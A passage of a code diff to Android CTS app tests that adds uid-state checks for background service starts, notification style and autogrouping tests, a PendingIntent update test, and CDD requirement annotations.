+ controller.ensureProcessGone(WAIT_TIME);
+
+ // Do initial setup.
+ controller.denyBackgroundOp(WAIT_TIME);
+ controller.makeUidIdle();
+ controller.removeFromWhitelist();
+
+ // We will use this to monitor when the service is running.
+ conn.startMonitoring();
+
// Try starting activity that will start the service. This should be okay.
WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
waiter.prepare(ACTION_SIMPLE_ACTIVITY_START_SERVICE_RESULT);
@@ -620,20 +768,63 @@
}
conn.waitForConnect(WAIT_TIME);
+ final String expectedActivityState = (isScreenInteractive() && !isKeyguardLocked())
+ ? "TOP" : "TPSL";
+ // Also make sure the uid state reports are as expected.
+ controller.getUidWatcher().waitFor(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE,
+ expectedActivityState, WAIT_TIME);
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
+
// Okay, bring down the service.
mContext.stopService(mServiceIntent);
conn.waitForDisconnect(WAIT_TIME);
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+
+ // App isn't yet idle, so we should be able to start the service again.
+ mContext.startService(mServiceIntent);
+ conn.waitForConnect(WAIT_TIME);
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
+
+ // And now fast-forward to the app going idle, service should be stopped.
+ controller.makeUidIdle();
+ controller.getUidWatcher().waitFor(WatchUidRunner.CMD_IDLE, null, WAIT_TIME);
+
+ conn.waitForDisconnect(WAIT_TIME);
+ controller.getUidWatcher().waitFor(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+
+ // No longer should be able to start service.
+ boolean failed = false;
+ try {
+ mContext.startService(mServiceIntent);
+ } catch (IllegalStateException e) {
+ failed = true;
+ }
+ if (!failed) {
+ fail("Service was allowed to start while in the background");
+ }
+
} finally {
mContext.stopService(mServiceIntent);
- conn.stopMonitoring();
-
- cmd = "appops set " + SIMPLE_PACKAGE_NAME + " RUN_IN_BACKGROUND allow";
- result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
- cmd = "cmd deviceidle whitelist -" + SIMPLE_PACKAGE_NAME;
- result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
-
+ conn.stopMonitoringIfNeeded();
controller.cleanup();
}
}
+
+ private boolean isScreenInteractive() {
+ final PowerManager powerManager =
+ (PowerManager) mContext.getSystemService(Context.POWER_SERVICE);
+ return powerManager.isInteractive();
+ }
+
+ private boolean isKeyguardLocked() {
+ final KeyguardManager keyguardManager =
+ (KeyguardManager) mContext.getSystemService(Context.KEYGUARD_SERVICE);
+ return keyguardManager.isKeyguardLocked();
+ }
}
diff --git a/tests/app/src/android/app/cts/ActivityManagerTest.java b/tests/app/src/android/app/cts/ActivityManagerTest.java
index fbb32a2..31cb632 100644
--- a/tests/app/src/android/app/cts/ActivityManagerTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerTest.java
@@ -283,13 +283,13 @@
// Test illegal parameter
List<RunningServiceInfo> runningServiceInfo;
runningServiceInfo = mActivityManager.getRunningServices(-1);
- assertTrue(runningServiceInfo.size() == 0);
+ assertTrue(runningServiceInfo.isEmpty());
runningServiceInfo = mActivityManager.getRunningServices(0);
- assertTrue(runningServiceInfo.size() == 0);
+ assertTrue(runningServiceInfo.isEmpty());
runningServiceInfo = mActivityManager.getRunningServices(5);
- assertTrue(runningServiceInfo.size() >= 0 && runningServiceInfo.size() <= 5);
+ assertTrue(runningServiceInfo.size() <= 5);
Intent intent = new Intent();
intent.setClass(mInstrumentation.getTargetContext(), MockService.class);
diff --git a/tests/app/src/android/app/cts/AspectRatioTests.java b/tests/app/src/android/app/cts/AspectRatioTests.java
index df487f1..90770c9 100644
--- a/tests/app/src/android/app/cts/AspectRatioTests.java
+++ b/tests/app/src/android/app/cts/AspectRatioTests.java
@@ -16,6 +16,7 @@
package android.app.cts;
+import android.app.stubs.MetaDataMaxAspectRatioActivity;
import com.android.appSdk25.Sdk25MaxAspectRatioActivity;
import org.junit.After;
@@ -41,6 +42,7 @@
import android.view.View;
import android.view.WindowManager;
+import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.PollingCheck;
import static android.content.Context.WINDOW_SERVICE;
@@ -80,6 +82,11 @@
false /* initialTouchMode */, false /* launchActivity */);
@Rule
+ public ActivityTestRule<MetaDataMaxAspectRatioActivity> mMetaDataMaxAspectRatioActivity =
+ new ActivityTestRule<>(MetaDataMaxAspectRatioActivity.class,
+ false /* initialTouchMode */, false /* launchActivity */);
+
+ @Rule
public ActivityTestRule<MaxAspectRatioUnsetActivity> mMaxAspectRatioUnsetActivity =
new ActivityTestRule<>(MaxAspectRatioUnsetActivity.class,
false /* initialTouchMode */, false /* launchActivity */);
@@ -105,8 +112,10 @@
finishActivity(mMaxAspectRatioResizeableActivity);
finishActivity(mSdk25MaxAspectRatioActivity);
finishActivity(mMaxAspectRatioUnsetActivity);
+ finishActivity(mMetaDataMaxAspectRatioActivity);
}
+ @CddTest(requirement="7.1.1.2/C-0-1,C-0-2")
@Test
@Presubmit
public void testDeviceAspectRatio() throws Exception {
@@ -139,6 +148,16 @@
}
@Test
+ @Presubmit
+ public void testMetaDataMaxAspectRatio() throws Exception {
+ runTest(launchActivity(mMetaDataMaxAspectRatioActivity),
+ actual -> {
+ if (MAX_ASPECT_RATIO >= actual) return;
+ fail("actual=" + actual + " is greater than expected=" + MAX_ASPECT_RATIO);
+ });
+ }
+
+ @Test
// TODO: Currently 10% flaky so not part of pre-submit for now
public void testMaxAspectRatioResizeableActivity() throws Exception {
final Context context = InstrumentationRegistry.getInstrumentation().getContext();
diff --git a/tests/app/src/android/app/cts/DialogTest.java b/tests/app/src/android/app/cts/DialogTest.java
index 42b1fed..c16101f 100755
--- a/tests/app/src/android/app/cts/DialogTest.java
+++ b/tests/app/src/android/app/cts/DialogTest.java
@@ -210,13 +210,10 @@
assertFalse(d.isShowing());
}
- public void testOnSaveInstanceState() {
+ public void testOnSaveInstanceState() throws InterruptedException {
startDialogActivity(DialogStubActivity.TEST_ONSTART_AND_ONSTOP);
final TestDialog d = (TestDialog) mActivity.getDialog();
- assertFalse(d.isOnSaveInstanceStateCalled);
- assertFalse(TestDialog.isOnRestoreInstanceStateCalled);
-
//skip if the device doesn't support both of portrait and landscape orientation screens.
final PackageManager pm = mContext.getPackageManager();
if(!(pm.hasSystemFeature(PackageManager.FEATURE_SCREEN_LANDSCAPE)
@@ -224,10 +221,11 @@
return;
}
- OrientationTestUtils.toggleOrientationSync(mActivity, mInstrumentation);
-
- assertTrue(d.isOnSaveInstanceStateCalled);
- assertTrue(TestDialog.isOnRestoreInstanceStateCalled);
+ d.onSaveInstanceStateObserver.startObserving();
+ TestDialog.onRestoreInstanceStateObserver.startObserving();
+ OrientationTestUtils.toggleOrientation(mActivity);
+ d.onSaveInstanceStateObserver.await();
+ TestDialog.onRestoreInstanceStateObserver.await();
}
public void testGetCurrentFocus() throws Throwable {
diff --git a/tests/app/src/android/app/cts/DisplayTest.java b/tests/app/src/android/app/cts/DisplayTest.java
index fc6a6f3..6d7fdeb 100644
--- a/tests/app/src/android/app/cts/DisplayTest.java
+++ b/tests/app/src/android/app/cts/DisplayTest.java
@@ -21,7 +21,6 @@
import android.app.stubs.OrientationTestUtils;
import android.test.ActivityInstrumentationTestCase2;
import android.view.Display;
-import static com.android.compatibility.common.util.PackageUtil.supportsRotation;
/**
* Tests to verify functionality of {@link Display}.
@@ -48,10 +47,6 @@
* updated adjustments after a rotation.
*/
public void testRotation() throws Throwable {
- if (!supportsRotation()) {
- // Skip rotation test if device doesn't support it.
- return;
- }
// Get a {@link Display} instance before rotation.
final Display origDisplay = mActivity.getDisplay();
@@ -60,7 +55,9 @@
final int origHeight = origDisplay.getHeight();
// Change orientation
- OrientationTestUtils.switchOrientation(mActivity, mInstrumentation);
+ mActivity.configurationChangeObserver.startObserving();
+ OrientationTestUtils.switchOrientation(mActivity);
+ mActivity.configurationChangeObserver.await();
// Get a {@link Display} instance after rotation.
final Display updatedDisplay = mActivity.getDisplay();
diff --git a/tests/app/src/android/app/cts/DownloadManagerTest.java b/tests/app/src/android/app/cts/DownloadManagerTest.java
index 873647f..61de6c5 100644
--- a/tests/app/src/android/app/cts/DownloadManagerTest.java
+++ b/tests/app/src/android/app/cts/DownloadManagerTest.java
@@ -183,7 +183,7 @@
}
}
- @CddTest(requirement="7.6.1")
+ @CddTest(requirement="7.6.1/C-0-1")
public void testMinimumDownload() throws Exception {
final DownloadCompleteReceiver receiver = new DownloadCompleteReceiver();
try {
diff --git a/tests/app/src/android/app/cts/NotificationChannelTest.java b/tests/app/src/android/app/cts/NotificationChannelTest.java
index 70ec9cf..c54df84 100644
--- a/tests/app/src/android/app/cts/NotificationChannelTest.java
+++ b/tests/app/src/android/app/cts/NotificationChannelTest.java
@@ -28,6 +28,9 @@
import android.provider.Settings;
import android.test.AndroidTestCase;
+import com.android.compatibility.common.util.CddTest;
+
+@CddTest(requirement="3.8.3.1/C-1-1,C-1-4")
public class NotificationChannelTest extends AndroidTestCase {
@Override
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index 3200409..4ee7eaf 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -24,21 +24,28 @@
import android.app.stubs.R;
import android.content.Context;
import android.content.Intent;
+import android.graphics.Bitmap;
+import android.graphics.drawable.Icon;
import android.media.AudioAttributes;
+import android.media.session.MediaSession;
import android.net.Uri;
+import android.os.Bundle;
import android.provider.Settings;
import android.provider.Telephony.Threads;
import android.service.notification.StatusBarNotification;
import android.test.AndroidTestCase;
import android.util.Log;
+import com.android.compatibility.common.util.CddTest;
+
+import java.util.ArrayList;
+import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.UUID;
-import java.util.Arrays;
-
+@CddTest(requirement="3.8.3.1/C-1-3,C-1-4")
public class NotificationManagerTest extends AndroidTestCase {
final String TAG = NotificationManagerTest.class.getSimpleName();
final boolean DEBUG = false;
@@ -58,6 +65,10 @@
mNotificationManager.cancelAll();
mNotificationManager.createNotificationChannel(new NotificationChannel(
NOTIFICATION_CHANNEL_ID, "name", NotificationManager.IMPORTANCE_DEFAULT));
+ // delay between tests so notifications aren't dropped by the rate limiter
+ try {
+ Thread.sleep(500);
+ } catch(InterruptedException e) {}
}
@Override
@@ -165,6 +176,7 @@
compareChannels(channel, mNotificationManager.getNotificationChannel(channel.getId()));
}
+ @CddTest(requirement="3.8.3.1/C-1-3")
public void testCreateChannelWithGroup() throws Exception {
NotificationChannelGroup ncg = new NotificationChannelGroup("g", "n");
mNotificationManager.createNotificationChannelGroup(ncg);
@@ -278,6 +290,10 @@
continue;
}
assertFalse(channel3.getId().equals(nc.getId()));
+ if (!channelMap.containsKey(nc.getId())) {
+ // failed cleanup from prior test run; ignore
+ continue;
+ }
compareChannels(channelMap.get(nc.getId()), nc);
}
}
@@ -375,7 +391,274 @@
checkNotificationExistence(id, false);
}
+ @CddTest(requirement="3.8.3/H-0-2,3.8.3.1/C-2-1")
+ public void testMediaStyle() throws Exception {
+ mNotificationManager.cancelAll();
+ final int id = 99;
+ MediaSession session = new MediaSession(getContext(), "media");
+
+ final Notification notification =
+ new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+ .setSmallIcon(R.drawable.black)
+ .setContentTitle("notify#" + id)
+ .setContentText("This is #" + id + "notification ")
+ .addAction(new Notification.Action.Builder(
+ Icon.createWithResource(getContext(), R.drawable.icon_black),
+ "play", getPendingIntent()).build())
+ .addAction(new Notification.Action.Builder(
+ Icon.createWithResource(getContext(), R.drawable.icon_blue),
+ "pause", getPendingIntent()).build())
+ .setStyle(new Notification.MediaStyle()
+ .setShowActionsInCompactView(0, 1)
+ .setMediaSession(session.getSessionToken()))
+ .build();
+ mNotificationManager.notify(id, notification);
+
+ if (!checkNotificationExistence(id, /*shouldExist=*/ true)) {
+ fail("couldn't find posted notification id=" + id);
+ }
+ }
+
+ public void testInboxStyle() throws Exception {
+ final int id = 100;
+
+ final Notification notification =
+ new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+ .setSmallIcon(R.drawable.black)
+ .setContentTitle("notify#" + id)
+ .setContentText("This is #" + id + "notification ")
+ .addAction(new Notification.Action.Builder(
+ Icon.createWithResource(getContext(), R.drawable.icon_black),
+ "a1", getPendingIntent()).build())
+ .addAction(new Notification.Action.Builder(
+ Icon.createWithResource(getContext(), R.drawable.icon_blue),
+ "a2", getPendingIntent()).build())
+ .setStyle(new Notification.InboxStyle().addLine("line")
+ .setSummaryText("summary"))
+ .build();
+ mNotificationManager.notify(id, notification);
+
+ if (!checkNotificationExistence(id, /*shouldExist=*/ true)) {
+ fail("couldn't find posted notification id=" + id);
+ }
+ }
+
+ @CddTest(requirement="3.8.3/H-0-2,3.8.3.1/C-2-1")
+ public void testBigTextStyle() throws Exception {
+ final int id = 101;
+
+ final Notification notification =
+ new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+ .setSmallIcon(R.drawable.black)
+ .setContentTitle("notify#" + id)
+ .setContentText("This is #" + id + "notification ")
+ .addAction(new Notification.Action.Builder(
+ Icon.createWithResource(getContext(), R.drawable.icon_black),
+ "a1", getPendingIntent()).build())
+ .addAction(new Notification.Action.Builder(
+ Icon.createWithResource(getContext(), R.drawable.icon_blue),
+ "a2", getPendingIntent()).build())
+ .setStyle(new Notification.BigTextStyle()
+ .setBigContentTitle("big title")
+ .bigText("big text")
+ .setSummaryText("summary"))
+ .build();
+ mNotificationManager.notify(id, notification);
+
+ if (!checkNotificationExistence(id, /*shouldExist=*/ true)) {
+ fail("couldn't find posted notification id=" + id);
+ }
+ }
+
+ @CddTest(requirement="3.8.3/H-0-2,3.8.3.1/C-2-1")
+ public void testBigPictureStyle() throws Exception {
+ final int id = 102;
+
+ final Notification notification =
+ new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+ .setSmallIcon(R.drawable.black)
+ .setContentTitle("notify#" + id)
+ .setContentText("This is #" + id + "notification ")
+ .addAction(new Notification.Action.Builder(
+ Icon.createWithResource(getContext(), R.drawable.icon_black),
+ "a1", getPendingIntent()).build())
+ .addAction(new Notification.Action.Builder(
+ Icon.createWithResource(getContext(), R.drawable.icon_blue),
+ "a2", getPendingIntent()).build())
+ .setStyle(new Notification.BigPictureStyle()
+ .setBigContentTitle("title")
+ .bigPicture(Bitmap.createBitmap(100, 100, Bitmap.Config.RGB_565))
+ .bigLargeIcon(Icon.createWithResource(getContext(), R.drawable.icon_blue))
+ .setSummaryText("summary"))
+ .build();
+ mNotificationManager.notify(id, notification);
+
+ if (!checkNotificationExistence(id, /*shouldExist=*/ true)) {
+ fail("couldn't find posted notification id=" + id);
+ }
+ }
+
+ @CddTest(requirement="3.8.3.1/C-1-3")
+ public void testAutogrouping() throws Exception {
+ sendNotification(1, R.drawable.black);
+ sendNotification(2, R.drawable.blue);
+ sendNotification(3, R.drawable.yellow);
+ sendNotification(4, R.drawable.yellow);
+
+ assertNotificationCount(5);
+ assertAllPostedNotificationsAutogrouped();
+ }
+
+ @CddTest(requirement="3.8.3.1/C-1-3")
+ public void testAutogrouping_autogroupStaysUntilAllNotificationsCanceled() throws Exception {
+ sendNotification(1, R.drawable.black);
+ sendNotification(2, R.drawable.blue);
+ sendNotification(3, R.drawable.yellow);
+ sendNotification(4, R.drawable.yellow);
+
+ assertNotificationCount(5);
+ assertAllPostedNotificationsAutogrouped();
+
+ // Assert all notis stay in the same autogroup until all children are canceled
+ for (int i = 4; i > 1; i--) {
+ cancelAndPoll(i);
+ assertNotificationCount(i);
+ assertAllPostedNotificationsAutogrouped();
+ }
+ cancelAndPoll(1);
+ assertNotificationCount(0);
+ }
+
+ public void testAutogrouping_autogroupStaysUntilAllNotificationsAddedToGroup()
+ throws Exception {
+ String newGroup = "new!";
+ sendNotification(1, R.drawable.black);
+ sendNotification(2, R.drawable.blue);
+ sendNotification(3, R.drawable.yellow);
+ sendNotification(4, R.drawable.yellow);
+
+ List<Integer> postedIds = new ArrayList<>();
+ postedIds.add(1);
+ postedIds.add(2);
+ postedIds.add(3);
+ postedIds.add(4);
+
+ assertNotificationCount(5);
+ assertAllPostedNotificationsAutogrouped();
+
+ // Assert all notis stay in the same autogroup until all children are canceled
+ for (int i = 4; i > 1; i--) {
+ sendNotification(i, newGroup, R.drawable.blue);
+ postedIds.remove(postedIds.size() - 1);
+ assertNotificationCount(5);
+ assertOnlySomeNotificationsAutogrouped(postedIds);
+ }
+ sendNotification(1, newGroup, R.drawable.blue);
+ assertNotificationCount(4); // no more autogroup summary
+ postedIds.remove(0);
+ assertOnlySomeNotificationsAutogrouped(postedIds);
+ }
+
+ public void testNewNotificationsAddedToAutogroup_ifOriginalNotificationsCanceled()
+ throws Exception {
+ String newGroup = "new!";
+ sendNotification(10, R.drawable.black);
+ sendNotification(20, R.drawable.blue);
+ sendNotification(30, R.drawable.yellow);
+ sendNotification(40, R.drawable.yellow);
+
+ List<Integer> postedIds = new ArrayList<>();
+ postedIds.add(10);
+ postedIds.add(20);
+ postedIds.add(30);
+ postedIds.add(40);
+
+ assertNotificationCount(5);
+ assertAllPostedNotificationsAutogrouped();
+
+ // regroup all but one of the children
+ for (int i = postedIds.size() - 1; i > 0; i--) {
+ try {
+ Thread.sleep(200);
+ } catch (InterruptedException ex) {
+ // pass
+ }
+ int id = postedIds.remove(i);
+ sendNotification(id, newGroup, R.drawable.blue);
+ assertNotificationCount(5);
+ assertOnlySomeNotificationsAutogrouped(postedIds);
+ }
+
+ // send a new non-grouped notification. since the autogroup summary still exists,
+ // the notification should be added to it
+ sendNotification(50, R.drawable.blue);
+ postedIds.add(50);
+ try {
+ Thread.sleep(200);
+ } catch (InterruptedException ex) {
+ // pass
+ }
+ assertOnlySomeNotificationsAutogrouped(postedIds);
+ }
+
+ private PendingIntent getPendingIntent() {
+ return PendingIntent.getActivity(
+ getContext(), 0, new Intent(getContext(), this.getClass()), 0);
+ }
+
+ private boolean isGroupSummary(Notification n) {
+ return n.getGroup() != null && (n.flags & Notification.FLAG_GROUP_SUMMARY) != 0;
+ }
+
+ private void assertOnlySomeNotificationsAutogrouped(List<Integer> autoGroupedIds) {
+ String expectedGroupKey = null;
+ StatusBarNotification[] sbns = mNotificationManager.getActiveNotifications();
+ for (StatusBarNotification sbn : sbns) {
+ if (isGroupSummary(sbn.getNotification())
+ || autoGroupedIds.contains(sbn.getId())) {
+ assertTrue(sbn.getKey() + " is unexpectedly not autogrouped",
+ sbn.getOverrideGroupKey() != null);
+ if (expectedGroupKey == null) {
+ expectedGroupKey = sbn.getGroupKey();
+ }
+ assertEquals(expectedGroupKey, sbn.getGroupKey());
+ } else {
+ assertTrue(sbn.isGroup());
+ assertTrue(sbn.getKey() + " is unexpectedly autogrouped,",
+ sbn.getOverrideGroupKey() == null);
+ assertTrue(sbn.getKey() + " has an unusual group key",
+ sbn.getGroupKey() != expectedGroupKey);
+ }
+ }
+ }
+
+ private void assertAllPostedNotificationsAutogrouped() {
+ String expectedGroupKey = null;
+ StatusBarNotification[] sbns = mNotificationManager.getActiveNotifications();
+ for (StatusBarNotification sbn : sbns) {
+ // all notis should be in a group determined by autogrouping
+ assertTrue(sbn.getOverrideGroupKey() != null);
+ if (expectedGroupKey == null) {
+ expectedGroupKey = sbn.getGroupKey();
+ }
+ // all notis should be in the same group
+ assertEquals(expectedGroupKey, sbn.getGroupKey());
+ }
+ }
+
+ private void cancelAndPoll(int id) {
+ mNotificationManager.cancel(id);
+
+ if (!checkNotificationExistence(id, /*shouldExist=*/ false)) {
+ fail("canceled notification was still alive, id=" + 1);
+ }
+ }
+
private void sendNotification(final int id, final int icon) throws Exception {
+ sendNotification(id, null, icon);
+ }
+
+ private void sendNotification(final int id, String groupKey, final int icon) throws Exception {
final Intent intent = new Intent(Intent.ACTION_MAIN, Threads.CONTENT_URI);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_SINGLE_TOP
@@ -385,12 +668,13 @@
final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
final Notification notification =
new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
- .setSmallIcon(icon)
- .setWhen(System.currentTimeMillis())
- .setContentTitle("notify#" + id)
- .setContentText("This is #" + id + "notification ")
- .setContentIntent(pendingIntent)
- .build();
+ .setSmallIcon(icon)
+ .setWhen(System.currentTimeMillis())
+ .setContentTitle("notify#" + id)
+ .setContentText("This is #" + id + "notification ")
+ .setContentIntent(pendingIntent)
+ .setGroup(groupKey)
+ .build();
mNotificationManager.notify(id, notification);
if (!checkNotificationExistence(id, /*shouldExist=*/ true)) {
@@ -401,9 +685,9 @@
private boolean checkNotificationExistence(int id, boolean shouldExist) {
// notification is a bit asynchronous so it may take a few ms to appear in
// getActiveNotifications()
- // we will check for it for up to 200ms before giving up
+ // we will check for it for up to 300ms before giving up
boolean found = false;
- for (int tries=3; tries-->0;) {
+ for (int tries = 3; tries--> 0;) {
// Need reset flag.
found = false;
final StatusBarNotification[] sbns = mNotificationManager.getActiveNotifications();
@@ -423,6 +707,24 @@
return found == shouldExist;
}
+ private void assertNotificationCount(int expectedCount) {
+ // notification is a bit asynchronous so it may take a few ms to appear in
+ // getActiveNotifications()
+ // we will check for it for up to 400ms before giving up
+ int lastCount = 0;
+ for (int tries = 4; tries-- > 0;) {
+ final StatusBarNotification[] sbns = mNotificationManager.getActiveNotifications();
+ lastCount = sbns.length;
+ if (expectedCount == lastCount) return;
+ try {
+ Thread.sleep(100);
+ } catch (InterruptedException ex) {
+ // pass
+ }
+ }
+ fail("Expected " + expectedCount + " posted notifications, were " + lastCount);
+ }
+
private void compareChannels(NotificationChannel expected, NotificationChannel actual) {
if (actual == null) {
fail("actual channel is null");
diff --git a/tests/app/src/android/app/cts/NotificationTest.java b/tests/app/src/android/app/cts/NotificationTest.java
index 25c25e3..47ab3a1 100644
--- a/tests/app/src/android/app/cts/NotificationTest.java
+++ b/tests/app/src/android/app/cts/NotificationTest.java
@@ -29,8 +29,11 @@
import android.test.AndroidTestCase;
import android.widget.RemoteViews;
+import com.android.compatibility.common.util.CddTest;
+
import org.mockito.internal.matchers.Not;
+@CddTest(requirement="3.8.3/H-0-1,3.8.3.1/C-1-4")
public class NotificationTest extends AndroidTestCase {
private static final String TEXT_RESULT_KEY = "text";
private static final String DATA_RESULT_KEY = "data";
diff --git a/tests/app/src/android/app/cts/PendingIntentTest.java b/tests/app/src/android/app/cts/PendingIntentTest.java
index 92000e6..b0226c9 100644
--- a/tests/app/src/android/app/cts/PendingIntentTest.java
+++ b/tests/app/src/android/app/cts/PendingIntentTest.java
@@ -21,8 +21,10 @@
import android.app.stubs.MockReceiver;
import android.app.stubs.MockService;
import android.app.stubs.PendingIntentStubActivity;
+import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
+import android.content.IntentFilter;
import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
@@ -32,6 +34,9 @@
import android.test.AndroidTestCase;
import android.util.Log;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
public class PendingIntentTest extends AndroidTestCase {
private static final int WAIT_TIME = 10000;
@@ -196,6 +201,80 @@
pendingIntentSendError(mPendingIntent);
}
+ // Local receiver for examining delivered broadcast intents
+ private class ExtraReceiver extends BroadcastReceiver {
+ private final String extraName;
+
+ public volatile int extra = 0;
+ public CountDownLatch latch = null;
+
+ public ExtraReceiver(String name) {
+ extraName = name;
+ }
+
+ public void onReceive(Context ctx, Intent intent) {
+ extra = intent.getIntExtra(extraName, 0);
+ latch.countDown();
+ }
+
+ public void reset() {
+ extra = 0;
+ latch = new CountDownLatch(1);
+ }
+
+ public boolean waitForReceipt() throws InterruptedException {
+ return latch.await(WAIT_TIME, TimeUnit.MILLISECONDS);
+ }
+ }
+
+ public void testUpdateCurrent() throws InterruptedException, CanceledException {
+ final int EXTRA_1 = 50;
+ final int EXTRA_2 = 38;
+ final String EXTRA_NAME = "test_extra";
+ final String BROADCAST_ACTION = "testUpdateCurrent_action";
+
+ final Context context = getContext();
+ final ExtraReceiver br = new ExtraReceiver(EXTRA_NAME);
+ final IntentFilter filter = new IntentFilter(BROADCAST_ACTION);
+ context.registerReceiver(br, filter);
+
+ // Baseline: establish that we get the extra properly
+ PendingIntent pi;
+ Intent intent = new Intent(BROADCAST_ACTION);
+ intent.putExtra(EXTRA_NAME, EXTRA_1);
+
+ pi = PendingIntent.getBroadcast(context, 0, intent, 0);
+
+ try {
+ br.reset();
+ pi.send();
+ assertTrue(br.waitForReceipt());
+ assertTrue(br.extra == EXTRA_1);
+
+ // Change the extra in the Intent
+ intent.putExtra(EXTRA_NAME, EXTRA_2);
+
+ // Repeat PendingIntent.getBroadcast() *without* UPDATE_CURRENT, so we expect
+ // the underlying Intent to still be the initial one with EXTRA_1
+ pi = PendingIntent.getBroadcast(context, 0, intent, 0);
+ br.reset();
+ pi.send();
+ assertTrue(br.waitForReceipt());
+ assertTrue(br.extra == EXTRA_1);
+
+ // This time use UPDATE_CURRENT, and expect to get the updated extra when the
+ // PendingIntent is sent
+ pi = PendingIntent.getBroadcast(context, 0, intent, PendingIntent.FLAG_UPDATE_CURRENT);
+ br.reset();
+ pi.send();
+ assertTrue(br.waitForReceipt());
+ assertTrue(br.extra == EXTRA_2);
+ } finally {
+ pi.cancel();
+ context.unregisterReceiver(br);
+ }
+ }
+
public void testGetService() throws InterruptedException, CanceledException {
MockService.prepareStart();
mIntent = new Intent();
diff --git a/tests/app/src/android/app/cts/PipActivityTest.java b/tests/app/src/android/app/cts/PipActivityTest.java
index a8cfc90..7f0e23e 100644
--- a/tests/app/src/android/app/cts/PipActivityTest.java
+++ b/tests/app/src/android/app/cts/PipActivityTest.java
@@ -17,9 +17,12 @@
package android.app.cts;
import android.app.Instrumentation;
+import android.app.PictureInPictureParams;
import android.app.stubs.PipActivity;
import android.test.ActivityInstrumentationTestCase2;
+import com.android.compatibility.common.util.CddTest;
+
import static android.content.pm.PackageManager.FEATURE_PICTURE_IN_PICTURE;
public class PipActivityTest extends ActivityInstrumentationTestCase2<PipActivity> {
@@ -38,6 +41,7 @@
mActivity = getActivity();
}
+ @CddTest(requirement="3.8.14/C-3-1")
public void testLaunchPipActivity() throws Throwable {
runTestOnUiThread(new Runnable() {
public void run() {
@@ -58,9 +62,9 @@
} else {
boolean pipSupportDisabled = false;
try {
- mActivity.enterPictureInPictureMode();
+ pipSupportDisabled = !mActivity.enterPictureInPictureMode(
+ new PictureInPictureParams.Builder().build());
} catch (IllegalStateException e) {
- // Pip not supported
pipSupportDisabled = true;
}
assertTrue(pipSupportDisabled);
diff --git a/tests/app/src/android/app/cts/PipNotSupportedActivityTest.java b/tests/app/src/android/app/cts/PipNotSupportedActivityTest.java
index d33ff4d..810c353 100644
--- a/tests/app/src/android/app/cts/PipNotSupportedActivityTest.java
+++ b/tests/app/src/android/app/cts/PipNotSupportedActivityTest.java
@@ -17,6 +17,7 @@
package android.app.cts;
import android.app.Instrumentation;
+import android.app.PictureInPictureParams;
import android.app.stubs.PipNotSupportedActivity;
import android.test.ActivityInstrumentationTestCase2;
@@ -42,7 +43,8 @@
public void run() {
boolean pipSupportDisabled = false;
try {
- mActivity.enterPictureInPictureMode();
+ pipSupportDisabled = !mActivity.enterPictureInPictureMode(
+ new PictureInPictureParams.Builder().build());
} catch (IllegalStateException e) {
// Pip not supported
pipSupportDisabled = true;
diff --git a/tests/app/src/android/app/cts/ServiceTest.java b/tests/app/src/android/app/cts/ServiceTest.java
index 5f8202d..fbac9e8 100644
--- a/tests/app/src/android/app/cts/ServiceTest.java
+++ b/tests/app/src/android/app/cts/ServiceTest.java
@@ -41,11 +41,13 @@
import android.util.Log;
import android.app.stubs.R;
+import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.IBinderParcelable;
import com.android.compatibility.common.util.SystemUtil;
import java.util.List;
+@CddTest(requirement="3.5/C-0-2")
public class ServiceTest extends ActivityTestsBase {
private static final String TAG = "ServiceTest";
private static final String NOTIFICATION_CHANNEL_ID = TAG;
diff --git a/tests/app/src/android/app/cts/SystemFeaturesTest.java b/tests/app/src/android/app/cts/SystemFeaturesTest.java
index 6419e8c..f75342d 100644
--- a/tests/app/src/android/app/cts/SystemFeaturesTest.java
+++ b/tests/app/src/android/app/cts/SystemFeaturesTest.java
@@ -41,17 +41,21 @@
import android.nfc.NfcAdapter;
import android.telephony.TelephonyManager;
import android.test.InstrumentationTestCase;
+
import com.android.compatibility.common.util.CddTest;
+
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
+
import junit.framework.AssertionFailedError;
/**
* Test for checking that the {@link PackageManager} is reporting the correct features.
*/
+@CddTest(requirement="7/C-0-7")
public class SystemFeaturesTest extends InstrumentationTestCase {
private Context mContext;
@@ -112,7 +116,6 @@
}
}
